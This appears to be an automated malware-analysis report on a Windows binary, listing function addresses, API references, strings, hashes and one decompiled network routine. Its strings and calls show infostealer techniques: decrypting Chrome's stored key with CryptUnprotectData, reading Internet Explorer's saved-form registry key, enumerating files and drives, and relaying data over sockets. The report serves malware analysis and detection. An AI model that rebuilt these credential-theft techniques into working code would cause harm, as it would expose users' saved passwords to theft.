0x00000000
0x0041d7da
0x0041d341
0x0041d349
0x0041d354
0x0041d357
0x0041d35a
0x0041d35c
0x0041d35e
0x00000000
0x00000000
0x0041d364
0x0041d366
0x0041d43c
0x0041d444
0x0041d44f
0x0041d452
0x0041d455
0x0041d457
0x0041d459
0x0041d5a0
0x0041d5a0
0x0041d5a7
0x0041d5aa
0x00000000
0x0041d5aa
0x0041d467
0x0041d46f
0x0041d477
0x0041d47a
0x0041d481
0x0041d488
0x0041d48f
0x0041d49a
0x0041d4aa
0x0041d4b5
0x0041d4bd
0x0041d4c0
0x0041d4c4
0x0041d4c9
0x0041d4cb
0x0041d4e7
0x0041d4ef
0x0041d4f3
0x0041d4f7
0x0041d4f7
0x0041d4fc
0x0041d50e
0x0041d50e
0x0041d513
0x0041d517
0x0041d51b
0x0041d523
0x0041d526
0x0041d52a
0x0041d52f
0x0041d531
0x00000000
0x00000000
0x0041d537
0x0041d53b
0x0041d53f
0x0041d542
0x0041d549
0x0041d54d
0x0041d551
0x0041d555
0x0041d55d
0x0041d561
0x0041d565
0x0041d568
0x0041d56b
0x0041d570
0x0041d574
0x0041d579
0x0041d57c
0x0041d58a
0x0041d58f
0x0041d58f
0x0041d596
0x0041d599
0x0041d59c
0x0041d59e
0x0041d5c0
0x0041d5c5
0x0041d5d0
0x0041d5d4
0x0041d5df
0x0041d5e3
0x0041d5e3
0x0041d5ea
0x0041d5ed
0x00000000
0x0041d5ed
0x00000000
0x0041d59e
0x00000000
0x0041d57c
0x0041d4fe
0x0041d506
0x00000000
0x00000000
0x0041d508
0x00000000
0x0041d57e
0x0041d57e
0x0041d57e
0x0041d586
0x00000000
0x0041d586
0x0041d4cd
0x0041d4d4
0x0041d4d7
0x00000000
0x0041d4d7
0x0041d374
0x0041d37c
0x0041d380
0x0041d384
0x0041d384
0x0041d389
0x0041d39b
0x0041d39b
0x0041d3a0
0x0041d3a4
0x0041d3a8
0x0041d3b0
0x0041d3b3
0x0041d3b7
0x0041d3bc
0x0041d3be
0x00000000
0x00000000
0x0041d3cc
0x0041d3d0
0x0041d3d4
0x0041d3d8
0x0041d3df
0x0041d3e2
0x0041d3e5
0x0041d3e7
0x00000000
0x00000000
0x00000000
0x0041d3e7
0x0041d38b
0x0041d393
0x00000000
0x00000000
0x0041d395
0x00000000
0x0041d3ed
0x0041d3f1
0x0041d3f5
0x0041d3f9
0x0041d3fc
0x0041d403
0x0041d407
0x0041d40b
0x0041d40f
0x0041d417
0x0041d41b
0x0041d41b
0x0041d429
0x0041d42b
0x0041d433
0x00000000
0x0041d433
0x0041d274
0x0041d278
0x0041d27b
0x0041d7dd
0x0041d7e9
0x0041d7e9
0x0041d272
0x0041d23d
0x0041d241
0x0041d244
0x0041d244
0x00000000
0x0041d0ce

APIs

_stat.MSVCRT ref: 0041D1A1
fopen.MSVCRT ref: 0041D1DA
fseek.MSVCRT ref: 0041D1FA
ftell.MSVCRT ref: 0041D206
fseek.MSVCRT ref: 0041D231
fclose.MSVCRT ref: 0041D244

Strings

(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0, xrefs: 0041D2B3
P, xrefs: 0041D682
K, xrefs: 0041D698

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fseek$_statfclosefopenftell
String ID: (local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0$K$P
API String ID: 2614710449-1719531008
Opcode ID: 54049fe808654b227bba1578e1d34335061ffaf98f8a99cde8e77accde8bca1c
Instruction ID: 2f0101dfcf5e0978000162e92f0ac79abf139ad8f29847253f420d5a98adee70
Opcode Fuzzy Hash: 54049fe808654b227bba1578e1d34335061ffaf98f8a99cde8e77accde8bca1c
Instruction Fuzzy Hash: 67229FB4A087818FD720DF69C18479BFBE1AF89744F10892EE9D887350E779D885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDD6, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 236stringfileencryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00408042: MultiByteToWideChar.KERNEL32 ref: 00408094
Part of subcall function 00408042: _wfopen.MSVCRT ref: 004080AE
Part of subcall function 00408042: fgetpos.MSVCRT ref: 004080F0
Part of subcall function 00408042: fsetpos.MSVCRT ref: 00408126
Part of subcall function 00408042: malloc.MSVCRT ref: 00408132
Part of subcall function 00408042: fread.MSVCRT ref: 00408152
Part of subcall function 00408042: realloc.MSVCRT ref: 00408168
Part of subcall function 00408042: fclose.MSVCRT ref: 00408174

fopen.MSVCRT ref: 0040EE98

Part of subcall function 004074C5: MultiByteToWideChar.KERNEL32 ref: 004074FE
Part of subcall function 004074C5: GetFileAttributesExW.KERNEL32 ref: 00407519

malloc.MSVCRT ref: 0040EEB4
fclose.MSVCRT ref: 0040EEC8
fread.MSVCRT ref: 0040EEE7
fclose.MSVCRT ref: 0040EEEF
CryptUnprotectData.CRYPT32 ref: 0040EFBC
sprintf.MSVCRT ref: 0040F036
strcmp.MSVCRT ref: 0040F046
strcmp.MSVCRT ref: 0040F05A

Strings

0x%02hhX, xrefs: 0040F027
encrypted_key, xrefs: 0040EEF8, 0040EF18
0x0D, xrefs: 0040F03B
0x05, xrefs: 0040F04F
!, xrefs: 0040EFD7

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: fclose$ByteCharMultiWidefreadmallocstrcmp$AttributesCryptDataFileUnprotect_wfopenfgetposfopenfsetposreallocsprintf
String ID: !$0x%02hhX$0x05$0x0D$encrypted_key
API String ID: 2596569898-939079894
Opcode ID: 805cf607740b1a5f9c37050675237c4453e90da5180a7e15037dfd845fdc5026
Instruction ID: 786053efb03fb7134250340436023ef553204ed8f41ee6c066ba5e47f52fe47d
Opcode Fuzzy Hash: 805cf607740b1a5f9c37050675237c4453e90da5180a7e15037dfd845fdc5026
Instruction Fuzzy Hash: FEC1EAB1A053198FDB50DF25C844B9EBBF0BF45308F0588AEE489E7681D7789A84CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00406F83, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184stringfileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00407056
FindFirstFileA.KERNEL32 ref: 0040708A
strcmp.MSVCRT ref: 004070B2
strcmp.MSVCRT ref: 004070CA
strcat.MSVCRT ref: 00407110
fopen.MSVCRT ref: 00407157
strncpy.MSVCRT ref: 00407195
fclose.MSVCRT ref: 004071D3
strcpy.MSVCRT ref: 00407242
FindNextFileA.KERNEL32 ref: 0040725E
FindClose.KERNEL32 ref: 00407274

Strings

%s%s\, xrefs: 004071EE
%s%s, xrefs: 004070DF
%s\*.*, xrefs: 00407060

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$Filestrcmp$CloseErrorFirstModeNextfclosefopenstrcatstrcpystrncpy
String ID: %s%s$%s%s\$%s\*.*
API String ID: 1295692060-2283468316
Opcode ID: cc94f65e219aa78bc87248342c53200a3b884502bad93e8bca9f56ca5310b663
Instruction ID: 6627613b86e129a79f3514e70df2e2269c09e6d90b38cf378645e3f88cd6e25a
Opcode Fuzzy Hash: cc94f65e219aa78bc87248342c53200a3b884502bad93e8bca9f56ca5310b663
Instruction Fuzzy Hash: 28811CB44087459FC710EF25C2846AEBBE4BF84318F45892EF9D89B342D7789486DF1A

Uniqueness

Uniqueness Score: -1.00%

Function 0040753D, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 280fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 004075C4
SetErrorMode.KERNEL32 ref: 004076EB
MultiByteToWideChar.KERNEL32 ref: 0040771F
wcscat.MSVCRT ref: 00407732
FindFirstFileW.KERNEL32 ref: 00407745
FindClose.KERNEL32(?,?), ref: 00407775
WideCharToMultiByte.KERNEL32 ref: 00407809
MultiByteToWideChar.KERNEL32 ref: 00407932
wcscat.MSVCRT ref: 00407948

Part of subcall function 00406B2B: _wfopen.MSVCRT ref: 00406B69
Part of subcall function 00406B2B: fread.MSVCRT ref: 00406BA2
Part of subcall function 00406B2B: fclose.MSVCRT ref: 00406C1A

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004079AB

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

FindNextFileW.KERNEL32(?,?), ref: 00407A42

Strings

%s%s\, xrefs: 0040789A
!, xrefs: 00407951

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide$Find$CriticalFileSectionwcscat$CloseEnterErrorFirstLeaveModeNext_vsnprintf_wfopenfclosefread
String ID: !$%s%s\
API String ID: 1195691543-1081718417
Opcode ID: 0db96d41e41699db9f656d7569e1933fb0474d28dc8816ba95a9ce2816225d2e
Instruction ID: 2942108eb55d8b4688eca57bfe31ed8b2614f53b08094f2a7ccf2ab1801ba34f
Opcode Fuzzy Hash: 0db96d41e41699db9f656d7569e1933fb0474d28dc8816ba95a9ce2816225d2e
Instruction Fuzzy Hash: 5DE1B0B09097819FD320EF25C58879FBBE0BF84744F41892EE4D897291D7B895898F87

Uniqueness

Uniqueness Score: -1.00%

Function 0040D745, Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 232registryfileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0040D769
RegOpenKeyExA.ADVAPI32 ref: 0040D80C
RegCloseKey.ADVAPI32 ref: 0040D858
fclose.MSVCRT ref: 0040DB08

Strings

E, xrefs: 0040D98F
K, xrefs: 0040D9A5
A, xrefs: 0040D99A
rb+, xrefs: 0040D756
/, xrefs: 0040DA54
Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 0040D7F9
, xrefs: 0040D7AF

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseOpenfclosefopen
String ID: $/$A$E$K$Software\Microsoft\Internet Explorer\IntelliForms\Storage2$rb+
API String ID: 4197589263-417429986
Opcode ID: 17987caa90f594d4a55626d029de0f9e4765c5bc8f064db7406c04733c776cae
Instruction ID: b3a366508a3bf55356eea0268f728a85e1b25c4e3c11778993a5dcbc8714eb01
Opcode Fuzzy Hash: 17987caa90f594d4a55626d029de0f9e4765c5bc8f064db7406c04733c776cae
Instruction Fuzzy Hash: B2A1C2B09083419BD710EFA5C18465BBBE0AF85358F00882EF5D897391D7B9D989DF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00413A85, Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 151fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00413AA4

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

MultiByteToWideChar.KERNEL32 ref: 00413B02
FindFirstFileW.KERNEL32 ref: 00413B18
WideCharToMultiByte.KERNEL32 ref: 00413BB1
WideCharToMultiByte.KERNEL32 ref: 00413CA7
FindNextFileW.KERNEL32 ref: 00413D1B
FindClose.KERNEL32 ref: 00413D3D

Strings

%s*, xrefs: 00413AB5
%d:%I64u:%s%s;, xrefs: 00413CCD
%d:%s%s;, xrefs: 00413BCF
%s%s\, xrefs: 00413C1E

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharFindMultiWide$File$CloseErrorFirstModeNext_vsnprintf
String ID: %d:%I64u:%s%s;$%d:%s%s;$%s%s\$%s*
API String ID: 2650927523-525976846
Opcode ID: 334888fa3b4434e061fa7b69daef3cafc177c312af5b0b50911e5eeb64500dc7
Instruction ID: f6b2b9afb8f28ceff06ae1ca88c29ba9ed65548566ee5afaf2077295461a783a
Opcode Fuzzy Hash: 334888fa3b4434e061fa7b69daef3cafc177c312af5b0b50911e5eeb64500dc7
Instruction Fuzzy Hash: 0971AFB44093459BD320EF6AD18469FBBE0AF84758F008E1EE4D887391D7B89689CF57

Uniqueness

Uniqueness Score: -1.00%

Function 00406453, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 204filetimeCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00406492
SetErrorMode.KERNEL32 ref: 004064A1
FindFirstFileW.KERNEL32 ref: 004064B5
FileTimeToSystemTime.KERNEL32 ref: 00406547
WideCharToMultiByte.KERNEL32 ref: 00406617
FindNextFileW.KERNEL32 ref: 00406745
FindClose.KERNEL32 ref: 00406757

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Part of subcall function 00407F59: free.MSVCRT ref: 00407F6A

Strings

%.2d/%.2d/%d %.2d:%.2d:%.2d, xrefs: 00406534
, xrefs: 00406568

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFind$ByteCharCriticalMultiSectionTimeWide$CloseEnterErrorFirstLeaveModeNextSystemfree
String ID: $%.2d/%.2d/%d %.2d:%.2d:%.2d
API String ID: 2473485750-562013197
Opcode ID: 3a87355c9401e98f2b6dd8472ebd5ff4394208b68e8698201d5d1cc5e3771088
Instruction ID: 4c70007c882a7ce573aae617e01390b0b466164858f4fbbb4a898ac5e72415b9
Opcode Fuzzy Hash: 3a87355c9401e98f2b6dd8472ebd5ff4394208b68e8698201d5d1cc5e3771088
Instruction Fuzzy Hash: 36A1B2B48087459FD710EF25C18469BBBE4BF84714F01892EF8D897391D7789589CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00406390, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 004063AF
fopen.MSVCRT ref: 004063DB
_snwprintf.MSVCRT ref: 00406405
fwprintf.MSVCRT ref: 00406415
_snwprintf.MSVCRT ref: 0040641C
FindNextFileW.KERNEL32 ref: 00406428
FindClose.KERNEL32 ref: 00406436
fclose.MSVCRT ref: 00406443

Strings

filenames.txt, xrefs: 004063C7

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$File_snwprintf$CloseFirstNextfclosefopenfwprintf
String ID: filenames.txt
API String ID: 4215708556-1590186953
Opcode ID: 8a012b87caedc31829cbf4f9110065dd04a3999989f632e85736f7b71116f674
Instruction ID: 110ac6783a2aa76cc845fc41d9c104154397b4f26a6f194d14aa4f1c43fee32b
Opcode Fuzzy Hash: 8a012b87caedc31829cbf4f9110065dd04a3999989f632e85736f7b71116f674
Instruction Fuzzy Hash: 7E115BB0509701AEC710AF25898459FFBE4AF80718F018D2EF4D497281D778848A8B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040680D, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 168fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00406824
MultiByteToWideChar.KERNEL32 ref: 0040685F
wcscat.MSVCRT ref: 00406872
FindFirstFileW.KERNEL32 ref: 00406885
FindClose.KERNEL32 ref: 004068B2
WideCharToMultiByte.KERNEL32 ref: 00406924
FindNextFileW.KERNEL32 ref: 00406AB7

Strings

%s%s\, xrefs: 00406A5F

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$ByteCharFileMultiWide$CloseErrorFirstModeNextwcscat
String ID: %s%s\
API String ID: 1999808103-4005620730
Opcode ID: f1dd5b59dd90e2cd6b86d21233615770f5833fe61e03e8d61d53419095457b90
Instruction ID: 3ec7505ef3af3f69d728aa0d249a2e56fce710592115df83b66c59d2158606e8
Opcode Fuzzy Hash: f1dd5b59dd90e2cd6b86d21233615770f5833fe61e03e8d61d53419095457b90
Instruction Fuzzy Hash: CB8102B06093419FD320EF25C18469BBBE4BF85348F45882EE4C997381D7B89589CF87

Uniqueness

Uniqueness Score: -1.00%

Function 00406084, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 0041236C: malloc.MSVCRT ref: 0041237C

SetErrorMode.KERNEL32 ref: 004060A9
GetLogicalDriveStringsA.KERNEL32 ref: 004060C1
GetVolumeInformationA.KERNEL32 ref: 0040617C
GetDiskFreeSpaceExA.KERNEL32 ref: 004061D3
GetDriveTypeA.KERNEL32 ref: 00406250

Strings

@, xrefs: 00406215
mWYCi a46w, xrefs: 00406209

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Drive$DiskErrorFreeInformationLogicalModeSpaceStringsTypeVolumemalloc
String ID: @$mWYCi a46w
API String ID: 4103324456-2045538538
Opcode ID: 6e05202e2b6317dcf9b285d138a61c7554b9cffc0ce9619bb66956b9d9d47aae
Instruction ID: 7bbe8d17847550f4164a14e3f7f2cb4162b00115eb79a228a3fcc10edc21327c
Opcode Fuzzy Hash: 6e05202e2b6317dcf9b285d138a61c7554b9cffc0ce9619bb66956b9d9d47aae
Instruction Fuzzy Hash: EF61ABB0509741AEE300AF26C59435FFBE4BF84748F01882EE4D897251E7B985898F86

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB1C, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 0040DB2D

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

FindFirstFileA.KERNEL32 ref: 0040DB6F
FindNextFileA.KERNEL32 ref: 0040DCC6
FindClose.KERNEL32 ref: 0040DCD8

Strings

%s\*.*, xrefs: 0040DB41
4RSdf.SC5, xrefs: 0040DC15
%s\%s, xrefs: 0040DBD5, 0040DC40

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$File$CloseErrorFirstModeNext_vsnprintf
String ID: %s\%s$%s\*.*$4RSdf.SC5
API String ID: 3730131509-632711553
Opcode ID: 614e9fffcf9219516c0050d8f59d1067c41d6f899a0319c1393b422afb48b831
Instruction ID: d2bbd74eba1eaf649f0bd4c37a8a6416b9e5ed0152e307ea26bcf85ad81135cc
Opcode Fuzzy Hash: 614e9fffcf9219516c0050d8f59d1067c41d6f899a0319c1393b422afb48b831
Instruction Fuzzy Hash: 064108B09083459AD720AF66C58455AFBE4FF85318F00892EA4DCD7381D7B8958ACF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D290, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 0040D2E2
CryptCreateHash.ADVAPI32 ref: 0040D31C
CryptHashData.ADVAPI32 ref: 0040D34B
CryptGetHashParam.ADVAPI32 ref: 0040D38A

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

CryptDestroyHash.ADVAPI32 ref: 0040D3F7
CryptReleaseContext.ADVAPI32 ref: 0040D40D

Strings

%.2X, xrefs: 0040D39F, 0040D3CD

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamRelease_vsnprintf
String ID: %.2X
API String ID: 3013291059-213608013
Opcode ID: 39854ef80ab4a7fbc3dc680ded39b80eed89874fe177f232a89a79b64462ce99
Instruction ID: 943cf95f321e7325facb401f71863eb3bfed9abde62d642a269049118650948e
Opcode Fuzzy Hash: 39854ef80ab4a7fbc3dc680ded39b80eed89874fe177f232a89a79b64462ce99
Instruction Fuzzy Hash: 7441F5B05083019FD700EF2AC58935FBBE4AF88718F01892EE8C897381D779C5498F96

Uniqueness

Uniqueness Score: -1.00%

Function 00411A5C, Relevance: 12.1, APIs: 8, Instructions: 148
networkCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00411A5C(void* __ecx, signed short* _a4) {
				signed short _v268;
				signed short _v272;
				char _v572;
				char _v586;
				signed short _v676;
				char _v680;
				intOrPtr _v688;
				intOrPtr _v692;
				char _v716;
				signed short _v720;
				signed short _v724;
				char _v728;
				char _v730;
				signed short _v732;
				char _v736;
				signed short _v744;
				signed int _v748;
				signed short _v752;
				char* _v756;
				signed short _v764;
				signed short _v768;
				signed short _v772;
				signed short _v780;
				signed short _v784;
				signed short _v788;
				signed short _v792;
				intOrPtr _v800;
				signed short _v804;
				signed short _v816;
				signed short _t64;
				signed short _t65;
				signed short _t71;
				signed int _t72;
				signed short _t73;
				signed short _t75;
				signed short* _t91;
				char* _t93;
				signed short _t96;
				signed int _t97;
				signed short _t98;
				signed short* _t100;
				signed short* _t101;
				signed short* _t102;
				signed short* _t103;

				_t92 = __ecx;
				_t91 = _a4;
				_t93 =  &_v680;
				_t97 =  &_v272;
				_v692 = 0xffffffff;
				_v688 = 0xffffffff;
				_v680 = 5;
				_v676 = 0;
				_t64 =  *_t91;
				_v716 = _t93;
				_v720 = 0;
				_v724 = 0;
				_v728 = _t97;
				_v272 = 1;
				_v268 = _t64;
				_t65 = _t64 + 1;
				_v732 = _t65;
				L0041F904();
				_t100 =  &_v720 - 0x14;
				if(_t65 > 0) {
					_v748 = _t97;
					_t65 =  *_t91;
					_v752 = _t65;
					L0041F94C();
					_push(__ecx);
					_push(__ecx);
					if(_t65 != 0) {
						_v748 = 0;
						_v752 = 4;
						_v756 =  &_v716;
						_t65 =  *_t91;
						 *_t100 = _t65;
						L0041F90C();
						_t101 = _t100 - 0x10;
						if(_t65 > 0) {
							_t65 =  *_t91;
							_t98 =  &_v572;
							_v764 = 0;
							if(_v732 != 1) {
								_v768 = 0x100;
								_v772 = _t98;
								 *_t101 = _t65;
								L0041F90C();
								_t102 = _t101 - 0x10;
								__eflags = _t65;
								if(_t65 > 0) {
									_t96 =  &_v716;
									_v784 = 0x80;
									_v788 = _t98;
									_v744 = 0;
									_v792 = _t96;
									E00412AA3( &_v744, _t98 + E00412548() + 1, 2);
									_t71 = _v744 & 0x0000ffff;
									_v792 = _t71;
									L0041F914();
									_push(_t93);
									_t72 = _t71 & 0x0000ffff;
									_v792 = _t72;
									 *_t102 = _t96;
									_v748 = _t72;
									_v788 =  &_v736;
									_t73 = E004051B5(_t92,  &_v736);
									__eflags = _t73;
									if(__eflags != 0) {
										goto L9;
									}
									_v792 = 1;
									goto L11;
								}
							} else {
								_v768 = 6;
								_v772 = _t98;
								 *_t101 = _t65;
								L0041F90C();
								_t102 = _t101 - 0x10;
								if(_t65 == 6) {
									_v784 = 2;
									_v788 = _t98;
									_v732 = 2;
									_v792 =  &_v730;
									E00412AA3();
									E00412AA3( &_v728,  &_v586, 4);
									_t73 = E004129E4( &_v724, 0, 8);
									L9:
									_v788 = 6;
									_v792 = 1;
									 *_t102 = 2;
									L0041F8E4();
									_t102 = _t102 - 0xc;
									_t109 = _t73 - 0xffffffff;
									_v768 = _t73;
									if(_t73 != 0xffffffff) {
										_v800 = 0x10;
										 *_t102 = _t73;
										_v804 =  &_v748;
										L0041F93C();
										_t103 = _t102 - 0xc;
										__eflags = _t73 + 1;
										_t75 =  *_t91;
										if(__eflags == 0) {
											_v816 = 2;
											 *_t103 = _t75;
											E00411A22(__eflags);
											 *_t103 =  &_v780;
											return E00405999( &_v748);
										}
										_v816 = 3;
										 *_t103 = _t75;
										E00411A22(__eflags);
										_v816 =  *_t91;
										 *_t103 = _v780;
										return E00411770(_t92);
									}
									_v804 = 2;
									L11:
									 *_t102 =  *_t91;
									return E00411A22(_t109);
								}
							}
						}
					}
				}
				return _t65;
			}

0x00411a5c
0x00411a65
0x00411a6c
0x00411a70
0x00411a77
0x00411a7f
0x00411a87
0x00411a8f
0x00411a97
0x00411a99
0x00411a9d
0x00411aa5
0x00411aad
0x00411ab1
0x00411abc
0x00411ac3
0x00411ac4
0x00411ac7
0x00411acc
0x00411ad1
0x00411ad7
0x00411adb
0x00411add
0x00411ae0
0x00411ae7
0x00411ae8
0x00411ae9
0x00411af3
0x00411afb
0x00411b03
0x00411b07
0x00411b09
0x00411b0c
0x00411b11
0x00411b16
0x00411b21
0x00411b23
0x00411b2a
0x00411b32
0x00411bb3
0x00411bbb
0x00411bbf
0x00411bc2
0x00411bc7
0x00411bca
0x00411bcc
0x00411bd2
0x00411bd6
0x00411bde
0x00411be2
0x00411bea
0x00411c09
0x00411c0e
0x00411c13
0x00411c16
0x00411c1b
0x00411c1c
0x00411c23
0x00411c27
0x00411c2a
0x00411c2e
0x00411c32
0x00411c37
0x00411c39
0x00000000
0x00000000
0x00411c3b
0x00000000
0x00411c3b
0x00411b34
0x00411b34
0x00411b3c
0x00411b40
0x00411b43
0x00411b48
0x00411b4e
0x00411b58
0x00411b60
0x00411b64
0x00411b6b
0x00411b6e
0x00411b8d
0x00411ba9
0x00411c45
0x00411c45
0x00411c4d
0x00411c55
0x00411c5c
0x00411c61
0x00411c64
0x00411c67
0x00411c6b
0x00411c85
0x00411c8d
0x00411c90
0x00411c94
0x00411c99
0x00411c9c
0x00411c9d
0x00411c9f
0x00411cc5
0x00411ccd
0x00411cd0
0x00411cd9
0x00000000
0x00411cdc
0x00411ca1
0x00411ca9
0x00411cac
0x00411cb3
0x00411cbb
0x00000000
0x00411cbe
0x00411c6d
0x00411c75
0x00411c77
0x00000000
0x00411c7a
0x00411b4e
0x00411b32
0x00411b16
0x00411ae9
0x00411cea

APIs

select.WS2_32 ref: 00411AC7
__WSAFDIsSet.WS2_32 ref: 00411AE0
recv.WS2_32 ref: 00411B0C
recv.WS2_32 ref: 00411B43
recv.WS2_32 ref: 00411BC2
ntohs.WS2_32 ref: 00411C16
socket.WS2_32 ref: 00411C5C
connect.WS2_32 ref: 00411C94

Part of subcall function 00411A22: send.WS2_32 ref: 00411A4C

Part of subcall function 00405999: shutdown.WS2_32 ref: 004059B6
Part of subcall function 00405999: closesocket.WS2_32(00000000), ref: 004059C2

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: recv$closesocketconnectntohsselectsendshutdownsocket
String ID:
API String ID: 4227456665-0
Opcode ID: 7aa564cc39fd655c1c646bbf1d1799004d24cdb641ddc06cc15a049bd6b3ff1c
Instruction ID: 331b2ee2af7af9e314b8cfd2fab8a33ff8218399bbf528e54cfcbcff9f8d33b6
Opcode Fuzzy Hash: 7aa564cc39fd655c1c646bbf1d1799004d24cdb641ddc06cc15a049bd6b3ff1c
Instruction Fuzzy Hash: 2461D6B0509740AED710AF25C18979ABBE4FF84348F008D1EF9D887251E7B994899F47

Uniqueness

Uniqueness Score: -1.00%

Function 00420420, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 217COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420557
_assert.MSVCRT ref: 004206E6

Strings

n & 1, xrefs: 00420550
n == 1, xrefs: 004206DF
o, xrefs: 004206CF
../nettle-3.5.1/memxor.c, xrefs: 00420548, 004206D7

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/memxor.c$n & 1$n == 1$o
API String ID: 1222420520-561580802
Opcode ID: c778598c57938beeda3a03c633ed9cdd53ae4a03349816565a6a334ef414175d
Instruction ID: 3ee2903d3d2c0e63440c59b9d95d43c21fe2c472ea4d5dc2fd0c85ac53de4ac0
Opcode Fuzzy Hash: c778598c57938beeda3a03c633ed9cdd53ae4a03349816565a6a334ef414175d
